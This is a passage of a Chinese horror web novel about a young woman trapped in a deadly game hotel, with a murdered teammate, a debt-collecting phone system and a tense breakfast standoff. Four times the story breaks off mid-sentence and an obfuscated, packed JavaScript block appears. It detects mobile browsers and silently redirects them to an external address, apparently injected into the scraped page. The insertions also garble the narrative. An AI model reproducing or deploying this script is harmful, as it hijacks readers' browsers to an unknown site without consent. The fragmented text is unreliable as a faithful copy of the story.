虽然R刚刚暗示夜晚走廊可能有危险,但根据以往的经验,没有找到任务纸条前,遇到都是些可有可无的小阻碍,不要命,也不麻烦。借此,说不定可以吓吓这个新人,早日划归阵营。 白知之没有搭理刘辰,其他人也不搭理他,一个接着一个走出这个狭小的空间。 “新人,你不是有手机吗?”刘辰至今还以为是白知之太傻,才不能跳进他的陷阱。 白知之眉尾上挑,准备逗逗他打趣,“是啊。这样可以吗?刘辰哥,我害怕。”最后一个字几乎被她夹出了波浪音。 刘辰以为白知之害怕了,得意洋洋地说:“害怕就照我说的做,把手机的手电筒功能打开。” 白知之也不知道他为什么执意要她打开手机手电筒,大概率是把她当作一个问路石吧,但这种做法蠢极了,一不小心牵连周围的人。 要说他傻还是蠢呢。 “诶,谁啊!”刘辰被一个人撞了出去,脚下不稳差点栽倒在地。 “挡路。”这两个字是白知之特地压低嗓音模仿吴长风男女不分的声线说出来的。 “你——哼!”刘辰没再追究,欺软怕硬刻进了骨髓。 随着最后一个出来,墙壁渐渐合拢,但R飘渺阴森的话还是在缝隙之中传来:“预祝各位死无葬身之地。” 满满的恶意。仔细想想,一路上,黄泉路,地板下的腐肉,十八层,加上R这句祝福语,每一处细节都在恶心人,多在这个世界一秒都像是在自己找自己的晦气。 房间对称分布,走廊上一扇扇门被打开,每一扇门后都是刺眼的灯光。按照R说的,自己选房间,那能供白知之选择的房间的不多了。 没有灯光照明,白知之只能自己用手摸着墙辨别房间。 有人住进去的房间的房门是别人打不开的,白知之就这样摁下了四个门把手都无法推开门时,在心里盘算最后一扇门再打不开就换边走廊了。 她摸着墙往前走,忽地,一片柔软闯入白知之的手掌心,这是完全不同于墙面和门板的触感。一戳,柔中带韧的手感令她回想起公交车上不太美妙的回忆,但区别于腐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085701|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉,这东西带着明显的回弹,应该是活物…… 说出来白知之自己都认为荒谬,在这个世界,除了公交车的乘客外就没见过活物了。 她赶忙移开手,继续前行。 “嗒——”是石块掉落的声音。 白知之瞪大眼睛,暗道倒霉,加快了自己的脚步。 “嗒嗒——”越来越多的石块掉落,听声音,石块的重量大小也在不断提高,那东西绝对不小。 也肯定是活物。 为什么别人遇不到的全让她享受了? 石头爷爷,我不该骂你死物的,你长命百岁,你福如东海寿比南山……白知之不敢说出声音,只得在心里碎碎念,祈求石头里的东西听见她的心音可以放她一马,更希望吴长风要是能听见她的心语可以出来英雄救美。 身后,出现一道区别于白知之自己的脚步声,虽轻,但在本就静谧无声的走廊中格外明显。 白知之心里忙着念叨求命,脚下更忙着逃命。摸摸摸,终于摸到门框,门把手呢,快,门把手! “喀哒——”门把手终是顺畅摁下。 白知之只开了七八指宽的缝侧身进门,门缝开得小,方便开也方便关。 关门前,白知之第一次没有通过折磨自己的方式看到了黑色人形,想不看见都难,门外是密密麻麻的黑色人形,没有五官的脸,扑面而来的恶意……但白知之的注意力只在这上面停留了不到一秒,因为,有一张帅脸,一张完全符合她审美的帅脸——偏圆的狐狸眼,瞳眸中带着些刚睡醒的水汽,高挺不肉的鼻梁,一颗痣点在上面,以及较为丰满的下唇。 美色误人,惹得白知之关门慢了一秒。 关上门后,白知之站在门前回味了好久。真是脸上每一颗痣,不夸张地说,每一根毫毛都长在她的审美点上。霎时,晦气的终点酒店也变成了旖旎香梦。 不对,他是不是没有穿衣服? 穿了?没穿? 白知之陷入思考。 修长泛着青色血管的脖颈,下面连接清晰可见的锁骨,还有一看就坚实可靠的宽阔肩膀,手臂肌肉也精练,沾在上面的水泥渣…… “……” 他好像就是从墙里走出来的,她嘴里念叨的石头爷爷,哦不,现在应该换一个称呼,石帅哥。 游戏开放商,能不能别把这种讨人命的npc做得这么帅啊! 白知之只能干生气。 从美色中脱离出来,她开始审视这个房间。果然是买家秀卖家秀,房间里根本没有落地窗,连窗户都没有,人住在里面不仅不通风,还会很压抑。除此之外,其他布置与现实世界的酒店没太大差别,供顾客办事休息的书桌上竟然也有矿泉水和联系酒店的拨线电话机。 幸苦了一天,白知之急需睡一个好觉,不能辜负她身上穿着的睡衣,这套还是她最喜欢的一套,嫩黄色格子棉质睡衣,她本来特意换上它准备睡个史无前例的大长觉的,没想到来了这个鬼地方,觉没得好睡,连衣服她可能也不会要了。 5. 终点酒店3 不管在现实世界还是一个随时会死亡的诡异世界,在外睡觉的第一步都是保证周围环境的安全。 第一步,检查房门是否上锁。呃……白知之抹了把汗,终点酒店安保服务着实差,门压根就不能上锁,联想R走前的“祝福”:“死无葬身之地。”终点酒店果然是终点酒店,白知之怀疑这是送他们轮回的最后一站。不过这门不上锁也打不开,为了确认白知之特意用力推了门几把,推不开,起码从内推不开。 这时,白知之才注意到在门板上方的墙壁,一个数字“0”赫然标记在上面。白知之一头雾水,她记得自己进的是1801号房间,怎么上面会写着数字“0”。结合适才的帅气美貌石头帅哥,一种不详的预感油然而生,不会她每次都这么惨吧。 算了,睡觉最重要。 睡前安保措施第二步,将酒店房间的长靠背椅子抵在门前,高度合适,恰好抵在门把手下方最好,有条件的还可以放一瓶水在椅背上,双重保险,这样至少不会在睡梦中稀里糊涂地遭遇不测。 睡前安保措施第三步,联系三五好友,若自己在隔天晚上没有给他们发消息报平安就立马报警。白知之不用思考省去了这一步。 至于第四步,是白知之现场自己加的,她抽出几张面巾纸,暂时借用了放在椅背上的矿泉水浇湿,再糊上猫眼。这一步可要可不要,白知之这么做是因为她总能感受到一股来自门外的凉飕飕的视线。 好了,一切就绪,准备睡觉! 等会,还有手机这件事没有安排好。 白知之叹了口气,随意趴到床上,从裤兜里掏出手机。 这部手机外观和现实世界无异,同样也适用现实世界手机的开机方式。 打开手机,开机画面是一只由两条半弧线加上白色实心圆形构成的眼睛缓慢张开的画面。 “叮!已绑定灵魂。玩家您好,我是您的专属系统,幽幽。”很可爱有活力的声音,不像机械合成。 “你好,幽幽。”白知之的嘴角终于不再是平直或是往下撇的了。这就是新手教程了吧,她终于可以不再是懵懂无知的少女了。 “请您使用系统前设定用户名。” 白知之脱口而出:“无常。”万一可以用呢。 “该用户名已被注册,请您重新设定。” “那……吴常。”蹭个名气也不错。 “该用户名已被注册,请您重新设定。” 白知之嘴角向一侧扯动,叹了口气,又想了一个名字,“白无常。” “该用户名已被注册,请您重新设定。” “无常括号已黑化括号,无常竟不是我自己,AAA人命批发无常,你按顺序,能用上哪个用哪个。” “……” “不会全部都重复了吧?”白知之瞪大眼睛,不敢相信。 “不是。” 白知之总感觉幽幽在憋笑呢。 “请您确定您的用户名,AAA人命批发无常。系统在此提示,此用户名为您在世界排行榜的昵称,也是您‘通灵’软件的昵称。” “确定。”白知之松了一口气,可以用就好,她一个取名废可再憋不出什么好名字了。 “欢迎AAA人命批发无常进入终点酒店副本。”幽幽作为系统正常走着流程,接着在手机屏幕上推送人物面板,白知之还没来得及看就被满屏的红色警告字体吓出一身冷汗。 “警告!警告!” 她环顾四周,没有任何动静,空气流动都没有,哪来的危险。 白知之正要吐槽系统出问题时,幽幽吐出的话恨不得是她自己出了问题。 “根据系统记录,您先前欠下系统三千万积分整,至今统计整合为三亿积分整,已成为系统记录的失信人员之一,这将限制您后续在世界大厅的活动。” 白知之嘴角抽了两下,恨不得立刻扔掉手上的烫手山芋。 但她马上恢复冷静。 “我第一次绑定系统,休想骗我。” 幽幽显然做好了白知之不认账的准备,“您抵押的是您在另一世界的所有现金。您不还清欠款,就不能使用您的现金。” “我还是不……” “您的银行卡号是xxxxxxxxx。” “好的,幽幽。”白知之懂得审时度势,毕竟现实世界中她仅剩的四百九十七块八毛三是她唯一的软肋。不管是不是她欠下的,都必须是她欠下的。若她知道游戏世界中的积分与人民币是一比一的汇率,她早就保不下她微薄的存款,白知之定死不承认。可系统有的是办法对付她。 白知之陷入沉思,排除系统是诈骗她的钱财的可能性外,她极有可能失忆了,或是说有另一个自己。 她很了解自己。自己除非是活不下去了,不然绝对不会借钱。所以说借款的时候是她生死危难之刻。 “幽幽,你们这借款需要验证资产什么的吗?” “需要的呢。我们会根据玩家的资产,能力和过往信用综合评估玩家是否可以还上本金和利息。” 白知之嘴角不经意翘起,这么说,没失忆前的她在游戏世界也算是叱诧风云的人物了。 可是整整三亿积分要还,以前的她倒是潇洒了,现在怎么办,她只能寄希望于游戏世界通货膨胀,通关奖励之类的积分一给就给几千万,几亿。 她一个无父无母无房无工作无存款的女大学生,一夜之间背上巨债,家门不幸,悲催啊…… 不是……不对,事情不对。 白知之忽然意识到先前一直被自己忽视的一个细节。她没有房子,更没有钱租房子,没找到工作的她一直住在学生宿舍。可她上车前的记忆,是在自己的房子里擦头发…… 一时,一股凉意从白知之脚底窜到头皮。她猛地从床上跳起,在房间内反复踱步。 什么也想不起来…… 怎么住进去房子里去的,怎么欠上钱的,以前到底有没有进入过这个诡异的世界,一切的一切,统统都不记得! 以前的自己难道没给未来的自己留封信,或者给个提示? “幽幽,你认识以前的我吗?” “不认识哦。” 完蛋。 她不相信自己会做自断后路的事,静静等待吧,现在最重要的是压塌糟糕人生到底债务。 白知之知道幽幽看不见她,但还是眯起眼睛,笑着说:“今天双十二可以打个折吗?” “可以的。” 白知之眼睛瞬间亮起来。 “打骨折。” 白知之长吸一口气,能不能取消系统的冷笑话功能。 她坐起来,继续摆弄手机。 这个手机与现实世界的手机的功能没有太大差别,除了一些软件的名字。像“通灵”是聊天软件,“摆渡”是购物软件,里面有很多东西,价格不一,但对背负三亿巨款的白知之没有用处。 “叮~您的好友申请已通过。”是一条来自“通灵”软件的消息。 白知之微微皱了眉,她只开了机其他什么都没做。 幽幽明白她的疑惑,立即解释:“为了方便同个副本内的玩家沟通,通灵软件开发了进入副本后主动给同副本玩家发出好友申请的功能,如果您不喜欢可以付费关闭。” 圈钱目的昭然若揭。 但是关闭这个功能除了提升逼格外并无用处,鸡肋,花瓶。 白知之点开,刘辰,李文轩,陈芸还有张奎都通过了她的好友申请,让她惊喜的是,还有一位叫作商聪林的朋友,男孩名字,应该是五人生还小队里的小男孩,他在五人团乃至进入副本的这九个人里面的存在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085702|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感都很低,有时都会让人不自觉忽略他。 但除了他,其他人的用户名前面都加上了五人生还,扑面而来的集体感,可他们真的有看起来这么团结吗? 她注意到刘辰名字下面有个手机标识,其他人都没有。 “为了提供用户更完美的体验,通灵软件实时更新用户当前状态。如果您不喜欢,可以付费关闭。” 是窥探敌人状态的好方法,同时也露出了自己的破绽。不,利用好了算将计就计,羊也可变作狼。 不过,一个队伍,刘辰有这么穷吗? 白知之继续翻,好友申请还自动发给了用户名叫作美食家和赵邦的人。前者无疑是异食癖温乙洲,后者她有些纠结,这既不像吴长风那个装货能取得名,更不像一个还没小学毕业的小女孩中意的名字。可吴长风没有不加她的理由,白知之自认自己的表现不错。 排除所有之后,再不像答案的答案,你也必须相信。 白知之强硬说服自己把赵邦硬气十足的名字和牙牙那张娇艳的脸蛋对上。 可是,这么算,少了一个人啊。 白知之不愿自己吓自己。 “关闭了自动发出好友申请的人还能收到我的好友申请吗?”有好友申请那在她的手机上就可以看到用户名,她反复数了三遍,着实少一个人。 幽幽没有回答。 估计不是付费功能它不解释。 可以的,白知之想。不然这个功能岂不是将人立于一座孤岛,没有交流的机会。 没有吴长风……很奇怪。 但高人自有高人的特别之处。 白知之躺在床上,身体放松精神紧绷。 想起最近发生的事,只觉得头皮发麻。 最开始,是她闲来无事看看猫眼,发现猫眼另一边有一只眼睛,一只充满红血丝的眼睛。原先以为是某人的恶作剧,便去厨房拿了一根筷子,狠狠往外插去。顿时,猫眼由外向内涌进大量鲜血,玄关处都淌满了。这不是一个眼珠的出血量。 白知之松开手,筷子依旧悬于猫眼之间,证明对方没有离去。但是对面一点声音都没有,不像一个正常人被捅穿眼球的反应。 她扭下门把手,开了一点点足以看清门外是否有人的缝隙。 “啪嗒——”筷子落下了,门外没有人,猫眼上,玄关处的血液全部消失。 白知之当时也不知道怎么想的,以为是自己太累产生的幻觉,拍拍脸回去睡了。 后来,一次洗完澡对着镜子擦头,镜子上浮出一行字:“嘘!别看那只眼。” 是她自己的笔迹,可不是她写上去的。 白知之越想越觉得可疑,便用手机拍下。按下快门的那一刻,镜子中的她笑了。“白知之”说:“搭上那辆车,去往极乐之地,你会得到你想要的一切。” “什么?”白知之刚问出口,镜子中的她好似被人抹去。她的手朝镜子伸去,想找到什么线索,可当手碰到镜子的那一刻,镜面以她手指为中心破碎开来。她的手来不及收回去,被割了一道不浅的口子。 “嘟嘟——”是汽车喇叭声,在她的门外。 这是十一楼啊! 白知之朝门口望去,没有动。 “嘟嘟——”司机再一次按下喇叭。 白知之抬起脚,转动门把手。一阵风吹过,她身边的一切都消失了,伤口愈合,不见一丝痕迹。门口停着一辆开着门的公交车,公交车的车身上有一个与手机开机界面一模一样的半椭圆弧线——一只闭着的眼睛。 她想起刚刚“自己”说的话,登上了车。车门瞬间关闭,容不得她后悔。她找了一个位置坐下,公交车启动。 “欢迎各位乘坐有来无回次公交车,终点站通往极乐之地。”车身上的眼睛猛然睁开,含着笑意。 6. 终点酒店4 第二天白知之是从浴室的浴缸里醒来的。 一看时间,才早上六点。白知之洗漱完,喝了一口矿泉水醒神。奇怪的是,房间里唯一一瓶矿泉水早在昨天就被她用以糊纸用掉四分之一,可今天这瓶是全新的。 白知之没有在意这个细节,她抬眼看,房门上的“0”经过一夜变为“1”。心中有了定夺。 打开门,陈芸一直站在对面1809的房门前,举着手机一脸焦急。 见白知之出来,她先关怀白知之活动明显僵硬缓慢的脖子,再引出自己的问题,“你昨天睡觉有没有听见外面有什么动静?” 白知之一边确认自己的房门不能再打开,一边回答陈芸:“没有。” “怎么了吗?”白知之神色正常,话很自然的问出来。 陈芸手里疯狂地敲手机,不忘回应白知之,“刘辰联系不上了。” “会不会是还在睡觉?” 陈芸抬头看了白知之一眼,而后说:“我们小队每次下副本都会约定时间相互报平安,但现在早已经过了约定的时间,他依旧没有消息。” 白知之“哦”了一声,装作安慰道:“希望刘辰哥只是赖床吧。” 陈芸不再多言,待在原地等待队友到来。 李文轩到得最快,他眉头拧成一个死结,连招呼都没打,脸色阴沉着看始终没有动静的木门。 李逵其次,眼眶红着,眼睛有些肿,已经哭过一轮了,钢铁汉子棉花心啊。最后一个到的是商聪林,面对队友的死讯他一脸冷淡。 “呦,第一天祭天的就是你们队的啊。”温乙洲也出来了,双手抱胸靠在门框边,一脸戏谑地看围在门前的四人。 李文轩一个眼神都没留给他,只道:“李逵。”语气压抑。 接到命令,众人退开至安全距离,李逵一拳砸过去,直直砸穿了门。 见到队友的出色表现,李文轩脸上蒙的阴霾才散去一些,可下一秒他再也笑不出了。 门板打穿一个洞,正常程序是从内开锁,李逵却迟迟没有动静,李文轩脸色一变,上前问道:“出什么事了?” 李逵嘴唇哆嗦,拳头颤颤巍巍地从门板后拿出来,坚实的拳头上沾满了门板的木屑,木屑上,是血白相交的脑浆。 温乙洲勾唇一笑,站在一旁,声音不算大,“美食的气息。” “我……我……”李逵愣在原地,眼神呆滞汇于自己举在半空的拳头上。他没想到,有一天自己引以为傲的拳头打穿的是自己队友的脑袋。 “没关系的。”陈芸一手握住李逵粗壮的手腕,另一只手凭空变出了一块手帕,手帕覆在李逵的手背,拿开后,李逵的手干净了,手帕上也没有脏东西。 白知之一脸艳羡,这是有钱人的生活吗。一想到自己背负三亿巨款,真是一头撞死的心都有了。 李文轩面部肌肉有些许紧绷,但他的手稳稳当当地穿过门板上的洞,从里面打开了1809号房。 门后有刘辰的尸体,并不能完全打开,只得身材细小的商聪林侧身挤进去。 “小朋友能行吗?”白知之从破开的洞里瞧,大概可以瞧见里面的刘辰。刚刚李逵一拳下去,半个脑袋都没了,不过没的是下半边脑袋,上半边脑袋被钉子钉在门框上,淌了一门框的脑浆。双手斜举起,手腕处分别钉了颗钉子,下半身跪在地上,视觉冲击堪比公车上的胖男人。 陈芸轻拍李逵的背,细声说:“小商很能干,胆子也大。你说是不是,逵哥。” 李逵抬起头,露出哭得血红的双眼,声音有些哽咽,“小商很厉害,力气甚至比我都大。”说完,李文轩瞥了他一眼,但终究没说什么。 白知之点点头,表示明白。 小朋友有惊人的力气,不用多想是他的技能。李逵看起来也是力量型的技能,一个队伍五个,有两个力量型的差不多,那其他三个是其他方面的了。 商聪林没一会便出来了,说话声音低沉,带些许未发育的稚嫩,“手机纸条都不见了。”说话时,眼神在白知之身上顿了几个字。 李文轩“啧”了一声,其他人脸色也好不到哪去,除了商聪林一如既往的冷脸。 白知之顿感不妙,她鼓起一个笑,问道:“任务纸条是什么?” 陈芸皱眉看着她,“是通关条件,只要完成任务纸条上的任务就可以通关。” “任务纸条要随身携带,不然任务完成相当于没完成,这张纸条还浪费了。另外是怕有人偷。”李文轩上下打量白知之,是试探也是在下套。 从他们刚刚专门去找任务纸条来看,人死后任务纸条和手机都会保留。 那很糟糕了…… 现在他们错失一张任务纸条,保不齐会将失去的从别的地方找来。 “啊?”白知之故作懊恼,“我把纸条落房间了,现在房门也打不开。”她为了证明,主动扭了几下门锁,用力往里推。 “李哥,陈姐,你们有办法吗?” 李文轩眼神带着怀疑和审视,白知之表面滴水不漏他找不到破绽。 “没有。”陈芸回答。 经过一番折腾,牙牙与吴长风两人也出了门。 人到齐了,一阵风凝实,R出现了。 他在前领路,嘴里说着:“本酒店提供早饭的时间为早上七点半,晚上用餐时间为晚上七点半,不提供中饭。另外,晚上九点以后,酒店走廊停止供电,请各位斟酌外出,如有意外酒店概不负责。” R这么一说,白知之抬头观察,走廊没有窗户,光是从天花板处照下来的,可白知之并不能找到类似灯的东西。她鼻子一皱,不知是不是错觉,她又闻到了昨夜来自R手上白蜡的难以言说的油脂味。 蹊跷的是,走廊的光自1809号房和1801号房这两个面对面的房间后就没有了。是因为只有九个人开九个房间,所以光也没必要延伸到后面的房间,还是……若是没必要,可以设定这两个房间后就是面墙。一个好的游戏是不会有没用的细节,副本同理。 可是现在最要紧的不是副本的事,而是关乎白知之眼前的性命大事。她和吴长风走在人群最后,期间她一直想和吴长风搭话,可不是R说话就是那个说话,根本没有机会。 还是昨夜进这层楼的那面墙,R这回以手掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085703|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化扇,在墙前扇了扇,墙面消失,是一个欧式风格的餐厅。 棕色的光线,石砌的墙面,角落摆放了一套骑士盔甲,墙面挂了一把大铁剑,剑锋锋利,剑芒耀眼,令人胆寒。最中间是由一整块橡木打造的长餐桌,未经精细打磨,近些看可以看到树结的凹陷。餐桌正上方悬吊沉重的铁艺吊灯,桌子两边各放了一座烛台,其中一个有四个分叉,另一个有五个,但只有一根蜡烛在四个分叉的烛台上。餐厅没有窗户,灯和烛台都没有亮,餐厅的光源也很神秘,令人捉摸不透。 长餐桌两侧分别布置四个座位,两两相对,正好八个。桌椅也是由橡木打造,椅面铺了一层暗红色的丝绒,坐上去舒适柔软温暖。 众人一一就坐,吴长风坐在最外面的一个座位上,白知之挑了他旁边的位置坐。 坐下趁还未上餐,白知之急忙向吴长风求救。 “老大,救命!” 吴长风瞥了她一眼,示意她继续说。 可R突然冒出一句:“奇怪。” 众人心一紧,看向他。 “少了一位客人。” 说到这个,李文轩没了好脸色,进入副本还未一天,一名队员离奇丧命,身上的手机和任务纸条一并消失,是个坏兆头。 “啧,你们队太弱死了人算了,还影响我吃饭。”温乙洲坐在李文轩旁边,这句话精准无误地送进了他的耳朵。 李文轩面无表情,不搭理温乙洲。这时候闹矛盾,谁也落不着好。 “一位,两位……”R为了确定,开始数人,他的眼神似霜刃扫过一位位顾客。 温乙洲胸口憋了团气,李文轩就差一个眼刀送过去,李逵又红了眼眶。可没人敢冒着降低npc好感度的风险打断他,只好由着他数。 白知之倒无所谓,正好给她些时间与吴长风说话。 “老大,刘辰死了。昨天我和刘辰拌嘴交恶有目共睹,我怕他们怀疑我。”白知之并不坦诚。 “三位……” 温乙洲只敢用手敲桌面表达自己的不满,可是这声音吵得其他人更烦了。 “为什么不是副本杀死他的呢?”吴长风好整以暇地看着白知之。 “四位……” “就是……这不他手机和任务纸条都丢了,本来我就是个新人,他们把罪名扣我头上我不直接死翘翘。”白知之知道糊弄不了吴长风。 李文轩喉结动了动,下颌线绷得紧紧的,连带肩膀都微微耸动,像是一只蓄势却又强行按捺住的猛兽。 “五位……” “不止如此吧。” “哈哈哈,主要手机被人拿去了。我昨天在手机上骂了他几句,我怕成为证据。”白知之没明说,但意思很明确了。 “六位……” 敲桌子的声音越来越大,温乙洲甚至还抖起腿来,李文轩心中的火算是彻底烧起来了,本就看温乙洲不爽,加上刘辰的死和那些事反复提起,一瞬间感情占了上风。 “够了!你有完没完!”李文轩猛地站起来,连带木椅在地上拖拉发出刺耳的声音。 “七位,这里只有七位客人。” 7. 终点酒店5 一时之间,敲桌声停了,李文轩的怒火灭了,白知之的呼吸都停滞了一瞬。 “看来这位顾客没有吃早饭的习惯。好了,各位用饭吧。”话毕,R微微躬身,化作一阵风散去。 与此同时,每人的桌上出现了不同的早饭,像陈芸的是一份沙拉加烟熏三文鱼三明治,温乙洲面前的是一大盆新鲜到还在蠕动的刺身,商聪林前面放着一碗炒得有些焦糊的蛋炒饭,而白知之面前的是一张用油纸包好,刷满秘制酱汁的鸡蛋灌饼和一杯现榨豆浆。 看来是按照每个人的喜好安排的,不得不夸赞一句酒店服务的人性化。 一口咬下去,外酥里嫩,第一口也吃到了酱汁,再喝一口豆浆清嘴,满足! 白知之眼睛眯起来,像一只虎头虎脑的猫咪。 “好吃吗?”吴长风问道。 白知之点头加回答:“好吃!还是食堂的味道。”她已经忘记自己身在时刻会丧命的诡异世界,心中只惦记手里的鸡蛋灌饼和豆浆。 “这鸡蛋灌饼只应天上有啊。要不是我吃过,我一定给老大你尝……”话还没说完,白知之余光瞥见吴长风手拿着的鸡蛋灌饼和他面前摆着的一杯豆浆。一模一样的配置。 “老大,会吃!”白知之向他比了个赞。 吴长风笑了笑,“如果不是我吃过,我一定要给你尝尝,我的鸡蛋灌饼更好吃。” 这话在白知之耳朵里无异于挑衅,可形式所迫,她只得委屈自己的钟爱,“可惜,可惜了。”才不可惜!她的鸡蛋灌饼是世界第一好吃,没有之一,无可替代,尤其这是一张每个角落都刷满酱的鸡蛋灌饼。 有了吴长风那番话,白知之越看越不对劲。吴长风手里那张饼怎么看着和她的那么像,连配料都一样,这年头鸡蛋灌饼也能流水线生产了? 难不成…… 白知之最喜欢的,也是手上拿着吃的鸡蛋灌饼是出自收留她的孤儿院旁边的小摊。如果吴长风和她的鸡蛋灌饼是一样的,总的来说,吴长风也是孤儿。 那么那股没来由的熟悉感就有了解释。孤儿院人多,长大后又在不同的学校读书,熟悉又陌生是很正常的事。 她悄悄看了吴长风一眼,心里衡量这个猜测的可能性。 “看什么呢?” “看您风流倜傥,英俊帅气,花见花开,车见车爆胎。”瞎话白知之信手拈来。 正常来说,吴长风的脸确实俊逸不凡,加上身高身材和气质,放在人群中很是扎眼,连男女老少不分的声音放在他身上都不能算减分项,是特色。这样帅气又有特点的人,白知之肯定不会忘记。 白知之咬下最后一口鸡蛋灌饼,折叠油纸成一个正方形,放在面前。一阵风吹过,油纸掉落在地,白知之没好气地瞪了一眼站在吴长风身边的R,眼珠差点吓丢了去。 只见R双手捧起一把有一米长,半米宽的木刀,躬身低头,柔声柔气地向吴长风说:“这是主人送给您的礼物,既是见面礼也是祭品。” 白知之心下一紧,暗道倒霉,怎么选了个粗大腿也是个有“背景”的粗大腿,不会连累她吧。 她余光瞥见吴长风的嘴角勾起一抹冷笑,带着毫无掩饰的轻蔑,这是白知之不曾见到的。可细看,他红了眼眶,手腕隐隐颤抖,极力压抑某种情绪。 R抬眼,看见吴长风的表情他很满意,或是说他的主人很满意,“主任说,中国有个典故,叫作刻舟求剑——” R话还没说完,吴长风长手一伸夺过木刀,第一时间握在手上掂量一下,好似是与许久未见的伙伴打招呼的方式。长刀轻轻划过,空气砍出一道裂痕,R身体划出了一道对角线,化作一阵风消散,风送来了他最后的话:“刻舟求刀不如求神。祝您死无葬身之地。” R消失,白知之第一时间送上安慰:“老大,您——”吴长风手里的木刀缩小至匕首大小,刀尖对向白知之的脖颈,刀风微微,但无形中截断了她耳朵上的小绒毛。不能小瞧木刀,用的人心似铁,木刀也成了钢刀。 “喜欢吗?”刀尖轻轻划过,在白知之的皮肉上留下一道血痕。 “您这是?”白知之猜不透吴长风的意图,伴君如伴虎,她的小命捏在他的手里。她恨仰仗他人鼻息过活的生活。 “不喜欢啊。”吴长风收回小木刀,垂眸,手指摩挲木刀的刀刃。木刀在他的手里变得温顿。 白知之一动不动地坐在座位上,不是害怕,是在计量。 她调出自己面值板。 【玩家姓名:白知之】 【存活时间:-300000000年01天(为利益最大化,系统决定给出失信人员负债打工的机会)】 【体力值:20(躺了四年的女大学生,八百米不及格水平)】 【智力:80(智力平均值以上,你有点小聪明,但可能会把自己害死)】 【幸运值:*(未知,您的运气一向奇怪。)】 平平无奇,甚至有点惨不忍睹的面值板。但是就是这个面值板给了她希望。 她在计算杀死吴长风的概率。虽然她肩不能抗,手不能提,没有技能更没有出色的计谋,可她还是想赌一把,赌她欠下巨债系统不会让她轻易死去,赌她奇怪的幸运值,万一这回幸运之神降临在她身上了呢。 白知之手心出了薄薄一层汗,桌下双腿合拢绷直,时刻准备行动。 吴长风倒是放松,一根手指为轴转起木刀来,转起来的木刀刀尖离桌面有三指远,但对着刀尖的桌布已稀碎得不成样子,隔空取人性命也是手腕轻轻一动的功夫。 他嘴唇微启,声音不大,但穿透力很强,在餐厅的人都能听得见。 “想杀我?” 顿时,餐桌上,餐具的碰撞声和咀嚼声一齐消失。 李文轩瞪大眼睛不可置信地转头看向白知之,温乙洲嗤笑一声,商聪林露出他进入副本以来第一个笑,很浅,却不容忽视,陈芸倒是没什么反应,李逵眉心拧成川字,牙牙撑着下巴看好戏。 一个新人,对与副本boss有旧情且敢于冒着降低npc好感度,增加副本难度的人起杀心,甚至妄图杀死他,简直是天方夜谭,痴儿做梦成状元。 当事人白知之面上淡定,表面上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085704|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事谁不会装一装,内里不露馅才是真正的强大。“哈哈哈……老大,你开什么玩笑。” 吴长风单手一摊,无奈道:“你心里怎么想的自己清楚。”我也清楚。 诈她吗?虽然先前白知之猜测过吴长风可能拥有类似读心术的技能,但她昨晚了解了世界规则,其中之一便是每个人根据灵魂特质,至多只有一个技能。 吴长风已经展示了他隔空控物的能力,读心术便排除在外了。 至于白知之自己的技能,死系统幽幽故作神秘地对她说:“天机不可泄露。”呵呵。 她怀疑得等到她把债还完或者死到临头了幽幽才肯透露。 “我还想着您在副本里保我小命呢,怎么会对您起杀心。莫须有的事。”白知之摆摆手,打算另起话头。 吴长风透过手里的木刀朝白知之笑了笑,说:“那这个送你了。”说罢,将木刀递了过去。 白知之眉尾挑起,满脸差异,事情的发展完全在她的意料之外。不应该打起来或者将事直接揭过去吗?送她刀?非亲非故,除非先前只是试探,现在正式收她为小弟,以此刀作为信物,威慑其他人。 诚挚崇拜的光蒙在白知之的脸上,她双手接过刀柄。“咔擦——”餐桌从白知之那竖向截断,餐桌上的餐食散落一地,盘子掉在地上乒里乓啷的响,烛台在地上滚了几圈才停下。 